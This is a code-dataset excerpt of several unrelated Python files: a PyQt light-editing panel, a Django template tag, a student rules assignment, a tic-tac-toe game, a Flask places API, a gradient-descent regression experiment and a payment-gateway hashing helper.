-*-\n\n\nfrom PyQt4 import QtGui, QtCore\nfrom PyQt4.QtGui import * \nfrom PyQt4.QtCore import * \n\nfrom GLShadow.Light import Light, LIGHT_POSSIBILITY, COLOR_POSSIBILITY\n\n\nclass AddLightPanel(QtGui.QWidget):\n\n def __init__(self, controller):\n QtGui.QWidget.__init__(self)\n self._controller = controller\n self.initGui()\n\n def initGui(self):\n \"\"\" \"\"\"\n self.resize(640,480)\n self.layout = QtGui.QVBoxLayout(self)\n self.setWindowTitle(\"Ajouter une lampe\")\n\n choiceLabel = QtGui.QLabel(\"Choississez un type de lampe :\", self)\n self.layout.addWidget(choiceLabel)\n self._choiceType = LIGHT_POSSIBILITY[0]\n combo = QtGui.QComboBox(self)\n for possibility in LIGHT_POSSIBILITY:\n combo.addItem(possibility)\n combo.activated[str].connect(self.onTypeSelection)\n self.layout.addWidget(combo)\n\n\n choiceLabel = QtGui.QLabel(\"Choississez une couleur de lampe :\", self)\n self.layout.addWidget(choiceLabel)\n self._choiceColor = COLOR_POSSIBILITY[0]\n combo = QtGui.QComboBox(self)\n for possibility in COLOR_POSSIBILITY:\n combo.addItem(possibility)\n combo.activated[str].connect(self.onColorSelection)\n self.layout.addWidget(combo)\n\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"\\n\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n\n self._lightIntensity = 0\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"Intensité de la lumière\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n sliderI = QtGui.QSlider(QtCore.Qt.Horizontal, self)\n sliderI.valueChanged.connect(self.lightIntensityPercent)\n sliderI.setSliderPosition(85)\n self.layout.addWidget(sliderI)\n\n\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"\\n\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n\n\n self._lightPosition = [0,0,0]\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"Position lumière\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"X\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n sliderX = QtGui.QSlider(QtCore.Qt.Horizontal, self)\n sliderX.valueChanged.connect(self.lightPositionPercentX)\n sliderX.setSliderPosition(90)\n self.layout.addWidget(sliderX)\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"Z\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n sliderZ = QtGui.QSlider(QtCore.Qt.Horizontal, self)\n sliderZ.valueChanged.connect(self.lightPositionPercentZ)\n sliderZ.setSliderPosition(70)\n self.layout.addWidget(sliderZ)\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"Hauteur\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n sliderY = QtGui.QSlider(QtCore.Qt.Horizontal, self)\n sliderY.valueChanged.connect(self.lightPositionPercentY)\n sliderY.setSliderPosition(90)\n self.layout.addWidget(sliderY)\n\n\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"\\n\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n\n self._lightDirection = [0,0]\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"Direction lumière\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"Angle Horizontal\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n sliderX = QtGui.QSlider(QtCore.Qt.Horizontal, self)\n sliderX.valueChanged.connect(self.lightPositionPercentX)\n sliderX.setSliderPosition(99)\n\n self.layout.addWidget(sliderX)\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"Angle Vertical\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n sliderZ = QtGui.QSlider(QtCore.Qt.Horizontal, self)\n sliderZ.valueChanged.connect(self.lightPositionPercentZ)\n sliderZ.setSliderPosition(99)\n self.layout.addWidget(sliderZ)\n\n textWidget = QtGui.QLabel(self)\n textWidget.setText(\"\\n\".decode(\"utf8\"))\n self.layout.addWidget(textWidget)\n\n btn = QtGui.QPushButton(\"Ajouter!\", self)\n btn.clicked.connect(self.buttonClicked)\n self.layout.addWidget(btn) \n\n self.show() \n\n def onTypeSelection(self, text):\n self._choiceType = text\n\n def onColorSelection(self, text):\n self._choiceColor = text\n\n def lightIntensityPercent(self,i):\n \"\"\" \"\"\"\n self._lightIntensity = i\n\n def lightPositionPercentX(self,x):\n \"\"\" \"\"\"\n self._lightPosition[0] = x\n\n def lightPositionPercentY(self,y):\n \"\"\" \"\"\"\n self._lightPosition[1] = y\n\n def lightPositionPercentZ(self,z):\n \"\"\" \"\"\"\n self._lightPosition[2] = z\n\n def lightDirectionPercentHorizontalAngle(self,x):\n \"\"\" \"\"\"\n self._lightDirection[0] = x\n\n def lightDirectionPercentVerticalAngle(self,y):\n \"\"\" \"\"\"\n self._lightDirection[1] = y\n\n\n def buttonClicked(self):\n \"\"\" \"\"\"\n newLight = Light()\n\n intensity = float(self._lightIntensity) / 100\n color = [1,1,1]\n colorRed = [1,0,0]\n colorYellow = [1,1,0]\n colorBlue = [0,0,1]\n if self._choiceColor == \"Rouge\":\n color = colorRed\n if self._choiceColor == \"Jaune\":\n color = colorYellow\n if self._choiceColor == \"Bleu\":\n color = colorBlue\n\n color[0] = color[0] * intensity\n color[1] = color[1] * intensity\n color[2] = color[2] * intensity\n \n newLight.setType(str(self._choiceType))\n\n newLight.setColor(color)\n newLight.setLightsRatio(self._lightPosition)\n\n newLight.setVerticalAngle(int(self._lightDirection[1]*1.8))\n newLight.setHorizontalAngle(int(self._lightDirection[0]*3.6))\n\n # direction\n\n self._controller.addLight(newLight)\n\n self.hide()\n\n\n\n\n\nclass RemoveLightPanel(QtGui.QWidget):\n\n def __init__(self, controller):\n QtGui.QWidget.__init__(self)\n self._controller = controller\n self.initGui()\n\n def initGui(self):\n \"\"\" \"\"\"\n self.resize(300,150)\n self.layout = QtGui.QVBoxLayout(self)\n self.setWindowTitle(\"Supprimer une lampe\")\n\n lightCollection = self._controller.getLightCollection()\n if len(lightCollection) > 0:\n choiceLabel = QtGui.QLabel(\"Choississez un type de lampe :\", self)\n self.layout.addWidget(choiceLabel)\n lightCollection = self._controller.getLightCollection()\n self._choiceType = \"0 Default\"\n combo = QtGui.QComboBox(self)\n for lightIndex in range(len(lightCollection)):\n string = str(lightIndex) + \" \" + lightCollection[lightIndex].getType()\n string += \" \"\n if lightCollection[lightIndex].getColor()[1] == 0 and lightCollection[lightIndex].getColor()[2] == 0:\n string += \"Rouge\"\n elif lightCollection[lightIndex].getColor()[2] == 0 :\n string += \"Jaune\"\n elif lightCollection[lightIndex].getColor()[0] == 0 and lightCollection[lightIndex].getColor()[1] == 0:\n string += \"Bleu\"\n else :\n string += \"Blanc\"\n string += \" \"\n string += \"X=\" + str(lightCollection[lightIndex].getPosition()[0])\n string += \" \"\n string += \"Z=\" + str(lightCollection[lightIndex].getPosition()[1])\n string += \" \"\n string += \"Hauteur=\" + str(lightCollection[lightIndex].getPosition()[2])\n \n combo.addItem(string)\n combo.activated[str].connect(self.onTypeSelection)\n self.layout.addWidget(combo)\n\n btn = QtGui.QPushButton(\"Supprimer\", self)\n btn.clicked.connect(self.buttonClicked)\n self.layout.addWidget(btn) \n\n self.show() \n else:\n QtGui.QMessageBox.information(self, \"Erreur\", \"Aucune lampe\") \n\n def onTypeSelection(self, text):\n self._choiceType = text\n\n def buttonClicked(self):\n \"\"\" \"\"\"\n index = str(self._choiceType).split()[0]\n index = int(index)\n self._controller.deleteLight(index)\n\n self.hide()","sub_path":"src/GUI/LightPanel.py","file_name":"LightPanel.py","file_ext":"py","file_size_in_byte":8521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"333043441","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.3 (3230)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/germanoguerrini/Developer/github/django-bricks/djangobricks/templatetags/bricks.py\n# Compiled at: 2015-01-27 05:27:11\n# Size of source mod 2**32: 1134 bytes\nfrom __future__ import unicode_literals\nfrom django import template\nfrom django.template.loader import render_to_string\nfrom djangobricks.exceptions import TemplateNameNotFound\nregister = template.Library()\n\n@register.simple_tag(takes_context=True)\ndef render_brick(context, brick, **extra_context):\n \"\"\"\n Shortcut to render a single brick.\n If `django.core.context_processors.request` is in your\n `TEMPLATE_CONTEXT_PROCESSORS`, the brick will render a `RequestContext`\n instance, otherwise it will default to `Context`.\n The method accepts keyword arguments that will be passed as extra context\n to the brick.\n \"\"\"\n if brick.template_name is None:\n raise TemplateNameNotFound('%r does not define any template name.' % brick.__class__)\n request = context.get('request')\n if request is not None:\n context_instance = template.RequestContext(request)\n else:\n context_instance = None\n dictionary = brick.get_context()\n dictionary.update(extra_context)\n return render_to_string(brick.template_name, dictionary, context_instance)","sub_path":"pycfiles/djangobricks-1.1.tar/bricks.cpython-33.py","file_name":"bricks.cpython-33.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"435009598","text":"# ITC558 - Programming Principles\n# Assignment 3\n# Thawatchai Jidsodsai (11587622)\n\n# This program is developed for AB Games company\n# so that help the company to recognizes the reason why its customers discontinue with it\n\nimport model #import for Member and Rules models\nimport controller # import for Member and Rule functions\nimport util #import for utility functions (eg. parseInt)\n\nRULE_FILE = 'Rules.txt'\nREADABLE_RULE_FILE = 'ReadableRules.txt'\nMEMBER_FILE = \"Members.txt\"\nMEMBER_REPORT_FILE = \"MemberReport.txt\"\nrules = []\nmembers = []\n\ntry:\n ruleController = controller.RuleController() # create RuleController instance\n rules = ruleController.readRules(RULE_FILE) # read logic rules from file\n ruleController.genReadableRules(READABLE_RULE_FILE, rules) # generate ReadableRules file\n # for r in rules:\n # print(\"[%s:%s], [%s:%s], [%s:%s], [%s:%s], [%s:%s], %s\" % (r.getAgeOperator(), r.getAge(), r.getWinLossOperator(), r.getWinLoss(), r.getLoginOperator(), r.getLogin(), r.getGenderOperator(), r.getGender(), r.getIncomeOperator(), r.getIncome(), r.getStatus()))\n\n memberController = controller.MemberController() # create MemberController instance\n members = memberController.readMembers(MEMBER_FILE) # read member info from file\n # for mem in members:\n # print(\"%s, %s, %s, %s, %s, %s\" % (mem.getAge(), mem.getWinLoss(), mem.getLogin(), mem.getGender(), mem.getIncome(), mem.getStatus()))\n\n # loop all members for matching with the rules\n for i in range(len(members)):\n try:\n status = ruleController.matchRules(rules, members[i]) # match a member with rules\n members[i].setStatus(status) # set status for a member\n except:\n # if any error occurs while matching rules, inform an error\n raise Exception('Could not match rules with Member #' + str(i + 1))\n\n memberController.genMemberReport(MEMBER_REPORT_FILE, members) # generate MemberReport file\n\n print('The program has been executed successfully, please check the result files.')\nexcept Exception as e:\n print(\"Error => \" + str(e))","sub_path":"Assignment_3/Thawatchai_11587622_Assignment_3.py","file_name":"Thawatchai_11587622_Assignment_3.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"572667060","text":"\n\n\nfrom IPython.display import clear_output\nimport random\n\ndef choosefirst():\n\n flip=random.randint(0,1)\n\n if flip==0:\n return 'Player 1';\n else:\n return 'Player 2';\n\ndef spaceckeck(bord,position):\n\n if bord[position]==' ':\n return True;\n else:\n return False;\n\ndef fullboardcheck(bord):\n\n for i in range(1,10):\n if spaceckeck(bord,i):\n return False;\n\n return True;\n\ndef playerchoice(bord):\n\n position=0;\n\n while position not in [1,2,3,4,5,6,7,8,9] or spaceckeck(bord,position):\n\n position=int(input(turn+\" Enter the Position in (1-9): \"))\n\n return position;\n\n\ndef playerinput():\n mark=''\n\n while mark!='X' and mark!='O':\n mark=input(\"Player 1 enter your mark 'O' or 'X': \").upper()\n\n if(mark=='X'):\n return ('X','O')\n else:\n return ('O','X')\n\ndef placemark(bord,mark,position):\n\n bord[position]=mark\n\ndef wincheck(bord,mark):\n\n if(bord[1] == bord[2] == bord[3] == mark or\n bord[4] == bord[5] == bord[6] == mark or\n bord[7] == bord[8] == bord[9] == mark or\n bord[1] == bord[4] == bord[7] == mark or\n bord[2] == bord[5] == bord[8] == mark or\n bord[3] == bord[6] == bord[8] == mark or\n bord[1] == bord[5] == bord[9] == mark or\n bord[3] == bord[5] == bord[7] == mark ):\n return True;\n\n\ndef replay():\n\n ans=str(input(\"Want to play again? Y or N\").upper())\n\n if ans=='Y':\n return True;\n else:\n return False;\n\n\ndef printbord(bord):\n\n clear_output()\n for i in range(1,10,3):\n print(str(bord[i])+\" | \"+str(bord[i+1])+\" | \"+str(bord[i+2]))\n\n\n\nprint(\"***** Welcome to Tic TAC Toi Game *****\")\n\nwhile True:\n\n bord = [' ']*10\n p1_mark, p2_mark = playerinput()\n turn=choosefirst()\n print(turn+\" plays first\")\n\n playgame=input(\"Ready to play? Y or N\").upper()\n\n if playgame=='Y':\n game_on=True;\n else:\n game_on=False;\n\n while game_on:\n\n if turn=='Player 1':\n printbord(bord)\n position=playerchoice(bord)\n placemark(bord,p1_mark,position)\n\n if(wincheck(bord,p1_mark)):\n printbord(bord)\n print(\"Player 1 Win !!\")\n game_on=False;\n else:\n if fullboardcheck(bord):\n printbord(bord)\n print(\"Game Tie !!\")\n game_on=False;\n else:\n turn='Player 2'\n else:\n printbord(bord)\n position = playerchoice(bord)\n placemark(bord, p2_mark, position)\n\n if (wincheck(bord, p2_mark)):\n printbord(bord)\n print(\"Player 2 Win !!\")\n game_on = False;\n else:\n if fullboardcheck(bord):\n printbord(bord)\n print(\"Game Tie !!\")\n game_on = False;\n else:\n turn = 'Player 1'\n\n\n if not replay():\n break;","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"89182989","text":"from flask import Blueprint, jsonify, request, g\nfrom models.qplace import Qplace, QplaceSchema, Comment, CommentSchema\nfrom models.type import Type\nfrom lib.secure_route import secure_route\n\napi = Blueprint('qplaces', __name__)\nqplace_schema = QplaceSchema()\ncomment_schema = CommentSchema()\n\n@api.route('/qplaces', methods=['GET'])\ndef index():\n qplaces = Qplace.query.all()\n return qplace_schema.jsonify(qplaces, many=True), 200\n\n@api.route('/qplaces/<int:qplace_id>', methods=['GET'])\ndef show(qplace_id):\n qplace = Qplace.query.get(qplace_id)\n if not qplace:\n return jsonify({'message': 'not found'}), 404\n return qplace_schema.jsonify(qplace), 200\n\n@api.route('/qplaces', methods=['POST'])\n@secure_route\ndef create():\n data = request.get_json()\n qplace, errors = qplace_schema.load(data)\n if errors:\n return jsonify(errors), 422\n if data.get('type_id', None):\n qplace.type = Type.query.get(data['type_id'])\n qplace.creator = g.current_user\n qplace.save()\n return qplace_schema.jsonify(qplace), 201\n\n@api.route('/qplaces/<int:qplace_id>', methods=['DELETE'])\ndef delete(qplace_id):\n qplace = Qplace.query.get(qplace_id)\n if not qplace:\n return jsonify({'message': 'Not Found'})\n qplace.remove()\n return '', 204\n\n@api.route('/qplaces/<int:qplace_id>/comments', methods=['POST'])\ndef comment_create(qplace_id):\n qplace = Qplace.query.get(qplace_id)\n if not qplace:\n return jsonify({'message': 'Not Found'}), 404\n data = request.get_json()\n comment, errors = comment_schema.load(data)\n if errors:\n return jsonify(errors), 422\n comment.qplace = qplace\n comment.save()\n return comment_schema.jsonify(comment), 202\n\n@api.route('/qplaces/<int:qplace_id>/comments/<int:comment_id>', methods=['DELETE'])\ndef comment_delete(**kwargs):\n comment = Comment.query.get(kwargs['comment_id'])\n if not comment:\n return jsonify({'message': 'Not Found'}), 404\n comment.remove()\n return '', 204\n\n@api.route('/qplaces/<int:qplace_id>/like', methods=['POST'])\n@secure_route\ndef like(qplace_id):\n qplace = Qplace.query.get(qplace_id)\n if not qplace:\n return jsonify({'message': 'Not Found'}), 404\n qplace.liked_by.append(g.current_user)\n qplace.save()\n return qplace_schema.jsonify(qplace), 201\n","sub_path":"controllers/qplaces.py","file_name":"qplaces.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"541879108","text":"import import_files\n\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nimport matplotlib.pyplot as plt\nimport time\nfrom regressionalgorithms import * \nfrom dataloader import load_ctscan\nfrom dataloader import splitdataset\n\n#Calculate l2 error.\ndef l2err(prediction,ytest):\n \"\"\" l2 error (i.e., root-mean-squared-error) \"\"\"\n return np.linalg.norm(np.subtract(prediction,ytest))\n\n# Calculate l2 norm.\ndef l2(vec):\n \"\"\" l2 norm on a vector \"\"\"\n return np.linalg.norm(vec)\n\n# Calculate error.\ndef Err(w,X,y):\n return np.dot((np.dot(X,w) - y).T,(np.dot(X,w) - y)) / X.shape[0]\n\n# Calculate gradient of the error.\ndef gradErr(X,w,y):\n return (2 * np.dot(np.dot(X.T,X),w)) - (2 * np.dot(X.T,y))\n\n# Calculate alpha, the function is defined by me, I tried to incorporate\n# an exponetial decrease in the value of alpha as the number of iterations\n# increase. \ndef diminishing_alpha(k,alpha):\n return (alpha)**(k*(1.95 - alpha))\n \n#Load the data\ntrain,test = load_ctscan(20000,10000)\nX_train, y_train = train\nX_test, y_test = test \n\n\"\"\"\nPerform Batch Gradient Descent\n\"\"\"\nclass BatchGradientLinearRegression():\n \n def __init__(self):\n #self.num_feature = num_features\n self.reg = FSLinearRegression({'features':list(range(385))})\n self.reg.weights = None\n\n def learn(self,X_train,y_train,epochs):\n Xv_train, yv_train = X_train, y_train\n self.reg.weights = np.zeros(Xv_train.shape[1])\n tolerance = 10e-12\n alpha = 0.001\n err = float('inf')\n k=0\n for _ in range(epochs):\n # Shuffle the data.\n combine = np.column_stack([Xv_train,yv_train])\n shuffle = np.random.permutation(combine)\n Xv_train,yv_train = shuffle[:,:385],shuffle[:,385]\n\n while np.abs(Err(self.reg.weights,Xv_train,yv_train) - err) > tolerance:\n err = Err(self.reg.weights,Xv_train,yv_train)\n k = k+1\n alpha = diminishing_alpha(k,alpha)\n self.reg.weights = self.reg.weights - alpha * np.dot(X_train.T,(np.dot(X_train,self.reg.weights)-yv_train)) \n\n# Run the Batch GD algorithm using multiple epochs and plot the graph.\ndef run():\n error_list = []\n epochs = list(range(100))\n t = []\n for i in epochs:\n starttime = time.time()\n batch_regression = BatchGradientLinearRegression()\n batch_regression.learn(X_train,y_train,i)\n y_pred = batch_regression.reg.predict(X_test)\n error_list.append(l2err(y_pred,y_test)/y_test.shape[0])\n endtime = time.time()\n t.append((endtime - starttime))\n plt.plot(epochs,error_list)\n plt.title(\"Batch GD epochs vs error\")\n plt.xlabel(\"Epochs\")\n plt.ylabel(\"Error\")\n plt.show()\n\n plt.plot(error_list,t)\n plt.title(\"Batch GD epochs vs error\")\n plt.xlabel(\"Error\")\n plt.ylabel(\"Runtime\")\n plt.show()\n\nrun()\n \n","sub_path":"Machine Learning Algorithms/Assignment 2/Solutions/solve_Q2h.py","file_name":"solve_Q2h.py","file_ext":"py","file_size_in_byte":2924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"166636691","text":"import hmac\nimport datetime\nimport tzlocal\nimport hashlib\n# import pycurl\nimport simplejson as json\nfrom io import BytesIO\n\n\ndef getVars():\n\n # Set time\n present_time = datetime.datetime.now(tzlocal.get_localzone())\n print('in tp dev helper')\n ## Get data from Merchant class\n ## Uncomment when using Django, replace in vars dict below\n # -----------------------------------------------------------\n from gateway.models import Merchant\n queryset = Merchant.objects.all()\n merch_info = queryset.get()\n merch_mid = merch_info.MID\n merch_password = merch_info.Password\n merch_presharedkey = merch_info.Preshared\n merch_hashmethod = merch_info.HashMethod\n merch_resultdeliverymethod = merch_info.ResultDeliveryMethod\n merch_transactiontype = merch_info.TransactionType\n # -----------------------------------------------------------\n\n # Create form variables\n vars = {\n 'merch_mid' : merch_mid,\n 'merch_password' : merch_password,\n 'merch_presharedkey' : merch_presharedkey,\n 'merch_amt' : '1234',\n 'merch_orderid' : 'Order-123',\n 'merch_transactiontype' : merch_transactiontype,\n 'merch_currencycode' : '826',\n 'merch_transactiondatetime' : present_time.strftime(\"%Y-%m-%d %H:%M:%S %z\"),\n 'merch_orderdesc' : 'Order description',\n 'merch_customername' : 'Geoff Wayne',\n 'merch_address1' : '113 Broad Street West',\n 'merch_address2' : 'Old pine',\n 'merch_address3' : 'Strongbarrow',\n 'merch_address4' : 'AddFour',\n 'merch_city' : 'City',\n 'merch_state' : 'State', \n 'merch_postcode' : 'SB42 1SX',\n 'merch_countrycode' : '826',\n 'merch_hashmethod' : merch_hashmethod,\n #'merch_callbackurl' : 'http://takepayments-python-django.herokuapp.com/gateway/callback/', #'http://127.0.0.1:8000/gateway/callback/', #\n 'merch_callbackurl' : 'http://127.0.0.1:8000/callback/',\n 'merch_echoavs' : 'true',\n 'merch_echocv2' : 'true',\n 'merch_echothreed' : 'true',\n 'merch_echocardtype' : 'true',\n 'merch_cv2mandatory' : 'true',\n 'merch_address1mandatory' : 'true',\n 'merch_citymandatory' : 'true',\n 'merch_postcodemandatory' : 'true',\n 'merch_statemandatory' : 'true',\n 'merch_countrymandatory' : 'true',\n 'merch_resultdeliverymethod' : merch_resultdeliverymethod,\n #'merch_serverresulturl' : 'http://takepayments-python-django.herokuapp.com/gateway/callback-server/',\n 'merch_serverresulturl': 'http://127.0.0.1:8000/callback-server/',\n 'merch_paymentformsdisplaysresult' : 'false',\n 'merch_serverresulturlcookievariables' : '',\n 'merch_serverresulturlformvariables' : '',\n 'merch_serverresulturlquerystringvariables' : '',\n }\n return vars\n\n\ndef calculateHashDigest(stringtohash, key, hashmethod):\n\n strkey = \"PreSharedKey=\" + key + \"&\"\n\n if hashmethod == \"MD5\":\n hash = hashlib.md5((strkey+stringtohash).encode('utf-8'))\n\n elif hashmethod == \"SHA1\":\n hash = hashlib.sha1((strkey+stringtohash).encode('utf-8'))\n\n elif hashmethod == \"HMACMD5\":\n hash = hmac.new(bytes(key.encode('utf-8')), bytes(stringtohash.encode('utf-8')), hashlib.md5)\n\n elif hashmethod == \"HMACSHA1\":\n hash = hmac.new(bytes(key.encode('utf-8')), bytes(stringtohash.encode('utf-8')), hashlib.sha1)\n\n elif hashmethod == \"HMACSHA256\":\n hash = hmac.new(bytes(key.encode('utf-8')), bytes(stringtohash.encode('utf-8')), hashlib.sha256)\n\n elif hashmethod == \"HMACSHA512\":\n hash = hmac.new(bytes(key.encode('utf-8')), bytes(stringtohash.encode('utf-8')), hashlib.sha512)\n\n return hash.hexdigest()\n\n\ndef getHashDigest(vars):\n\n # Generates the initial hashdigest for payment form\n StringToHash = (\"MerchantID=\" + vars['merch_mid'] +\n \"&Password=\" + vars['merch_password'] + \"&Amount=\" + vars['merch_amt'] + \"&CurrencyCode=\" + vars['merch_currencycode'] +\n \"&EchoAVSCheckResult=\" + vars['merch_echoavs'] + \"&EchoCV2CheckResult=\" + vars['merch_echocv2'] +\n \"&EchoThreeDSecureAuthenticationCheckResult=\" + vars['merch_echothreed'] + \"&EchoCardType=\" + vars['merch_echocardtype'] +\n \"&OrderID=\" + vars['merch_orderid'] + \"&TransactionType=\" + vars['merch_transactiontype'] + \"&TransactionDateTime=\" + vars['merch_transactiondatetime'] +\n \"&CallbackURL=\" + vars['merch_callbackurl'] + \"&OrderDescription=\" + vars['merch_orderdesc'] + \"&CustomerName=\" + vars['merch_customername'] +\n \"&Address1=\" + vars['merch_address1'] + \"&Address2=\" + vars['merch_address2'] + \"&Address3=\" + vars['merch_address3'] + \"&Address4=\" + vars['merch_address4'] +\n \"&City=\" + vars['merch_city'] + \"&State=\" + vars['merch_state'] + \"&PostCode=\" + vars['merch_postcode'] + \"&CountryCode=\" + vars['merch_countrycode'] +\n \"&CV2Mandatory=\" + vars['merch_cv2mandatory'] + \"&Address1Mandatory=\" + vars['merch_address1mandatory'] + \"&CityMandatory=\" + vars['merch_citymandatory'] +\n \"&PostCodeMandatory=\" + vars['merch_postcodemandatory'] + \"&StateMandatory=\" + vars['merch_statemandatory'] +\n \"&CountryMandatory=\" + vars['merch_countrymandatory'] + \"&ResultDeliveryMethod=\" + vars['merch_resultdeliverymethod'] +\n \"&ServerResultURL=\" + vars['merch_serverresulturl'] + \"&PaymentFormDisplaysResult=\" + vars['merch_paymentformsdisplaysresult'] +\n \"&ServerResultURLCookieVariables=\" + vars['merch_serverresulturlcookievariables'] +\n \"&ServerResultURLFormVariables=\" + vars['merch_serverresulturlformvariables'] +\n \"&ServerResultURLQueryStringVariables=\" + vars['merch_serverresulturlquerystringvariables'])\n\n # Send string to hash method\n HashDigest = calculateHashDigest(StringToHash, vars['merch_presharedkey'], vars['merch_hashmethod'])\n\n return HashDigest\n\n\ndef generateHashDigest(vars, StatusCode, Message, AddressNumericCheckResult, PostCodeCheckResult,\n ThreeDSecureAuthenticationCheckResult, CV2CheckResult):\n\n # Generates the initial hashdigest for payment form\n StringToHash = (\"MerchantID=\" + vars['merch_mid'] +\n \"&Password=\" + vars['merch_password'] +\n \"&StatusCode=\" + StatusCode +\n \"&Message=\" + Message +\n \"&PreviousStatusCode=\" '' +\n \"&PreviousMessage=\" + '' +\n \"&CrossReference=\" + '201021134325245002081234' +\n \"&AddressNumericCheckResult=\" + AddressNumericCheckResult +\n \"&PostCodeCheckResult=\" + PostCodeCheckResult +\n \"&CV2CheckResult=\" + CV2CheckResult +\n \"&ThreeDSecureAuthenticationCheckResult=\" + ThreeDSecureAuthenticationCheckResult +\n \"&CardType=\" + 'VISA' +\n \"&CardClass=\" + 'PERSONAL' +\n \"&CardIssuer=\" + 'CREDITINDUSTRIELETCOMMERCIA' +\n \"&CardIssuerCountryCode=\" + '250' +\n \"&Amount=\" + vars['merch_amt'] + \"&CurrencyCode=\" + vars['merch_currencycode'] +\n \"&OrderID=\" + vars['merch_orderid'] + \"&TransactionType=\" + vars['merch_transactiontype'] +\n \"&TransactionDateTime=\" + '2020 - 10 - 21 13: 43:25 + 00: 00' +\n \"&OrderDescription=\" + vars['merch_orderdesc'] + \"&CustomerName=\" + vars['merch_customername'] +\n \"&Address1=\" + vars['merch_address1'] + \"&Address2=\" + vars['merch_address2'] + \"&Address3=\" + vars['merch_address3'] + \"&Address4=\" + vars['merch_address4'] +\n \"&City=\" + vars['merch_city'] + \"&State=\" + vars['merch_state'] + \"&PostCode=\" + vars['merch_postcode'] + \"&CountryCode=\" + vars['merch_countrycode']\n )\n\n print('Hash String of \"Generate Hash\" Method')\n print(StringToHash)\n # Send string to hash method\n HashDigest = calculateHashDigest(StringToHash, vars['merch_presharedkey'], vars['merch_hashmethod'])\n\n return HashDigest\n\n\ndef curlCallback(PostString):\n\n # Set up curl\n b = BytesIO()\n c = pycurl.Curl()\n\n c.setopt(pycurl.URL, \"https://mms.tponlinepayments2.com/Pages/PublicPages/PaymentFormResultHandler.ashx\")\n c.setopt(pycurl.POST, True)\n c.setopt(pycurl.POSTFIELDS ,PostString)\n c.setopt(pycurl.SSL_VERIFYPEER, True)\n c.setopt(pycurl.WRITEFUNCTION, b.write)\n c.perform()\n curl_error = pycurl.error\n curl_info = c.getinfo(c.RESPONSE_CODE)\n response = b.getvalue().decode('UTF-8')\n c.close()\n\n #Parse succesful curl response\n parsed = parseResponse(response)\n print('############################## This is cURL Response ##################################')\n print(response)\n print('############################## Parsed cURL Response ###################################')\n print(parsed)\n print('#######################################################################################')\n\n # Create callback context from results of parsed curl response\n if 'AddressNumericCheckResult' in parsed:\n callback_context = {\n 'Message' : parsed['Message'],\n 'PreviousStatusCode' : parsed['PreviousStatusCode'],\n 'PreviousMessage' : parsed['PreviousMessage'],\n 'CrossReference' : parsed['CrossReference'],\n #-------------------these variables not always returned ----------------\n # 'AddressNumericCheckResult' : parsed['AddressNumericCheckResult'],\n # 'PostCodeCheckResult' : parsed['PostCodeCheckResult'],\n # 'CV2CheckResult' : parsed['CV2CheckResult'],\n # 'ThreeDSecureAuthenticationCheckResult' : parsed['ThreeDSecureAuthenticationCheckResult'],\n # 'CardType' : parsed['CardType'],\n # 'CardClass' : parsed['CardClass'],\n # 'CardIssuer' : parsed['CardIssuer'],\n # 'CardIssuerCountryCode' : parsed['CardIssuerCountryCode'],\n #-----------------------------------------------------------------------\n 'Amount' : parsed['Amount'],\n 'CurrencyCode' : parsed['CurrencyCode'],\n 'OrderID' : parsed['OrderID'],\n 'TransactionType' : parsed['TransactionType'],\n 'TransactionDateTime' : parsed['TransactionDateTime'],\n 'OrderDescription' : parsed['OrderDescription'],\n 'CustomerName' : parsed['CustomerName'],\n 'Address1' : parsed['Address1'],\n 'Address2' : parsed['Address2'],\n 'Address3' : parsed['Address3'],\n 'Address4' : parsed['Address4'],\n 'City' : parsed['City'],\n 'State' : parsed['State'],\n 'PostCode' : parsed['PostCode'],\n 'CountryCode' : parsed['CountryCode']\n }\n\n else:\n callback_context = {\n 'Message' : parsed['Message'],\n 'PreviousStatusCode' : parsed['PreviousStatusCode'],\n 'PreviousMessage' : parsed['PreviousMessage'],\n 'CrossReference' : parsed['CrossReference'],\n #-----------------------------------------------------------------------\n 'Amount' : parsed['Amount'],\n 'CurrencyCode' : parsed['CurrencyCode'],\n 'OrderID' : parsed['OrderID'],\n 'TransactionType' : parsed['TransactionType'],\n 'TransactionDateTime' : parsed['TransactionDateTime'],\n 'OrderDescription' : parsed['OrderDescription'],\n 'CustomerName' : parsed['CustomerName'],\n 'Address1' : parsed['Address1'],\n 'Address2' : parsed['Address2'],\n 'Address3' : 